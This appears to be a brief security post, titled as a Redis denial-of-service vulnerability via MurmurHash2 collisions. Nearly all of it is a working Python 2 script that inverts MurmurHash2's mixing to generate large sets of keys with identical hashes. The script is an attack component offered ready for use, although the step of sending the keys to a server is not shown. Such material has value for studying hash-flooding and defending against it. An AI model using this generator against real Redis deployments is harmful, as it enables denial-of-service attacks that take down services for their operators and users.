By the MurmurHash2 algorithm, a collision caused by Redis DDos attack vulnerability

                                                # murmurhash2_collision.py，用于构造碰撞：
```
# -*- coding:utf-8 -*-

import struct
import os

INV_MAGIC = 0xe59b19bd
R = 24
MASK_32 = 0xffffffff
DIFF = "\x00\x00\x00\x80\x00\x00\x00\x80"


def collision(blocks = 2):
    num_of_collision = 1 << blocks
    in0 = os.urandom(8 * blocks)
    in1 = "".join(chr(ord(in0[i]) ^ ord(DIFF[i % 8])) for i in xrange(0, 8 * blocks))

    in0 = __invert(in0)
    in1 = __invert(in1)

    # return a generator to reduce memory cost
    return ("".join((in0[8*index:8*index + 8]
                    if collision_num & (1 << index)
                    else in1[8*index:8*index + 8]
                     ) for index in xrange(0, blocks))
                for collision_num in xrange(0, num_of_collision))

def __invert(serial):
    result = []
    append = result.append
    for int32 in (struct.unpack("L", serial[block:block+4])[0] for block in range(0,len(serial), 4)):
        x = (int32 * INV_MAGIC) & MASK_32
        t = x >> R
        u = (x ^ t) >> R
        v = (x ^ u) >> R
        x ^= v
        x = (x * INV_MAGIC) & MASK_32
        append(struct.pack("L", x))
    return "".join(result)
```